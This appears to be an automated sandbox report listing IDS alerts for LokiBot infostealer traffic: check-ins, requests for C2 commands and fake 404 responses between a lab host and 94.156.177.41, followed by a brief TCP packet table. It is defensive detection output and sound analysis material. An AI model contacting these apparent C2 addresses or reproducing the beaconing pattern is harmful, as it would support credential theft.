2024-11-20T07:57:43.550061+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49215	TCP
2024-11-20T07:57:43.687015+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T07:57:43.687015+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T07:57:43.687015+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T07:57:44.541694+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T07:57:44.541694+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T07:57:44.546679+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49216	TCP
2024-11-20T07:57:44.686743+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T07:57:44.686743+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T07:57:44.686743+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T07:57:45.533689+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T07:57:45.533689+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T07:57:45.538504+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49217	TCP
2024-11-20T07:57:45.683162+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T07:57:45.683162+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T07:57:45.683162+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T07:57:46.392082+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T07:57:46.392082+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T07:57:46.397054+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49218	TCP
2024-11-20T07:57:46.572052+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T07:57:46.572052+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T07:57:46.572052+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T07:57:47.435298+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T07:57:47.435298+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T07:57:47.440139+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49219	TCP
2024-11-20T07:57:47.625431+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T07:57:47.625431+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T07:57:47.625431+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T07:57:48.350376+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T07:57:48.350376+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T07:57:48.355331+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49220	TCP
2024-11-20T07:57:48.537909+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T07:57:48.537909+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T07:57:48.537909+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T07:57:49.387296+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T07:57:49.387296+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T07:57:49.392166+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49221	TCP
2024-11-20T07:57:49.537253+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T07:57:49.537253+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T07:57:49.537253+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T07:57:50.396869+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T07:57:50.396869+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T07:57:50.401732+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49222	TCP
2024-11-20T07:57:50.541403+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T07:57:50.541403+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T07:57:50.541403+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T07:57:51.400249+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T07:57:51.400249+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T07:57:51.405120+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49223	TCP
2024-11-20T07:57:51.550185+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T07:57:51.550185+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T07:57:51.550185+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T07:57:52.414699+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T07:57:52.414699+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T07:57:52.419599+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49224	TCP
2024-11-20T07:57:52.571474+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T07:57:52.571474+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T07:57:52.571474+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T07:57:53.412939+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T07:57:53.412939+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T07:57:53.417983+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49225	TCP
2024-11-20T07:57:53.565464+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T07:57:53.565464+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T07:57:53.565464+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T07:57:54.297505+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T07:57:54.297505+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T07:57:54.302370+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49226	TCP
2024-11-20T07:57:54.459148+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T07:57:54.459148+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T07:57:54.459148+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T07:57:55.163739+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T07:57:55.163739+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T07:57:55.168793+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49227	TCP
2024-11-20T07:57:55.316399+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T07:57:55.316399+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T07:57:55.316399+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T07:57:56.037599+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T07:57:56.037599+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T07:57:56.042606+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49228	TCP
2024-11-20T07:57:56.191793+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T07:57:56.191793+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T07:57:56.191793+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T07:57:56.912319+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T07:57:56.912319+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T07:57:56.917175+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49229	TCP
2024-11-20T07:57:57.056887+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T07:57:57.056887+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T07:57:57.056887+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T07:57:57.913305+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T07:57:57.913305+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T07:57:57.919026+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49230	TCP
2024-11-20T07:57:58.063832+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T07:57:58.063832+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T07:57:58.063832+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T07:57:58.907092+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T07:57:58.907092+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T07:57:58.925815+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49231	TCP
2024-11-20T07:57:59.315019+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T07:57:59.315019+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T07:57:59.315019+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T07:58:00.178852+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T07:58:00.178852+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T07:58:00.184000+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49232	TCP
2024-11-20T07:58:00.406324+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T07:58:00.406324+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T07:58:00.406324+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T07:58:01.249409+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T07:58:01.249409+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T07:58:01.254920+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49233	TCP
2024-11-20T07:58:01.402550+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T07:58:01.402550+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T07:58:01.402550+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T07:58:02.252446+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T07:58:02.252446+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T07:58:02.257306+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49234	TCP
2024-11-20T07:58:02.410939+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T07:58:02.410939+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T07:58:02.410939+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T07:58:03.143133+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T07:58:03.143133+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T07:58:03.147969+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49235	TCP
2024-11-20T07:58:03.281828+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T07:58:03.281828+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T07:58:03.281828+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T07:58:04.012582+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T07:58:04.012582+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T07:58:04.017516+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49236	TCP
2024-11-20T07:58:04.153651+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T07:58:04.153651+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T07:58:04.153651+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T07:58:05.015654+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T07:58:05.015654+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T07:58:05.020538+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49237	TCP
2024-11-20T07:58:05.170720+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T07:58:05.170720+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T07:58:05.170720+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T07:58:05.888261+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T07:58:05.888261+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T07:58:05.893320+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49238	TCP
2024-11-20T07:58:06.042036+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T07:58:06.042036+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T07:58:06.042036+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T07:58:06.878837+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T07:58:06.878837+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T07:58:06.884043+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49239	TCP
2024-11-20T07:58:07.032370+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T07:58:07.032370+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T07:58:07.032370+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T07:58:07.903785+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T07:58:07.903785+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T07:58:07.913735+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49240	TCP
2024-11-20T07:58:08.079653+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T07:58:08.079653+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T07:58:08.079653+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T07:58:08.914515+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T07:58:08.914515+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T07:58:08.919532+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49241	TCP
2024-11-20T07:58:09.075720+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T07:58:09.075720+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T07:58:09.075720+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T07:58:09.790944+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T07:58:09.790944+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T07:58:09.795871+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49242	TCP
2024-11-20T07:58:09.961207+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T07:58:09.961207+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T07:58:09.961207+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T07:58:10.690343+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T07:58:10.690343+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T07:58:10.695527+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49243	TCP
2024-11-20T07:58:10.842151+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T07:58:10.842151+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T07:58:10.842151+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T07:58:11.687264+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T07:58:11.687264+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T07:58:11.692160+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49244	TCP
2024-11-20T07:58:11.848537+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T07:58:11.848537+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T07:58:11.848537+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T07:58:12.561533+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T07:58:12.561533+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T07:58:12.566542+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49245	TCP
2024-11-20T07:58:12.738339+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T07:58:12.738339+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T07:58:12.738339+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T07:58:13.441956+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T07:58:13.441956+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T07:58:13.446885+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49246	TCP
2024-11-20T07:58:13.595288+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T07:58:13.595288+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T07:58:13.595288+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T07:58:14.313214+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T07:58:14.313214+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T07:58:14.318123+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49247	TCP
2024-11-20T07:58:14.448889+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T07:58:14.448889+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T07:58:14.448889+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T07:58:15.160454+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T07:58:15.160454+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T07:58:15.165411+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49248	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 07:56:31.421825886 CET	49163	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:31.421879053 CET	443	49163	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:31.421977043 CET	49163	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:31.427613974 CET	49163	443	192.168.2.22	198.244.140.41
Nov 20, 2024 07:56:31.427630901 CET	443	49163	198.244.140.41	192.168.2.22
Nov 20, 2024 07:56:32.069742918 CET	443	49163	198.244.140.41	192.168.2.22
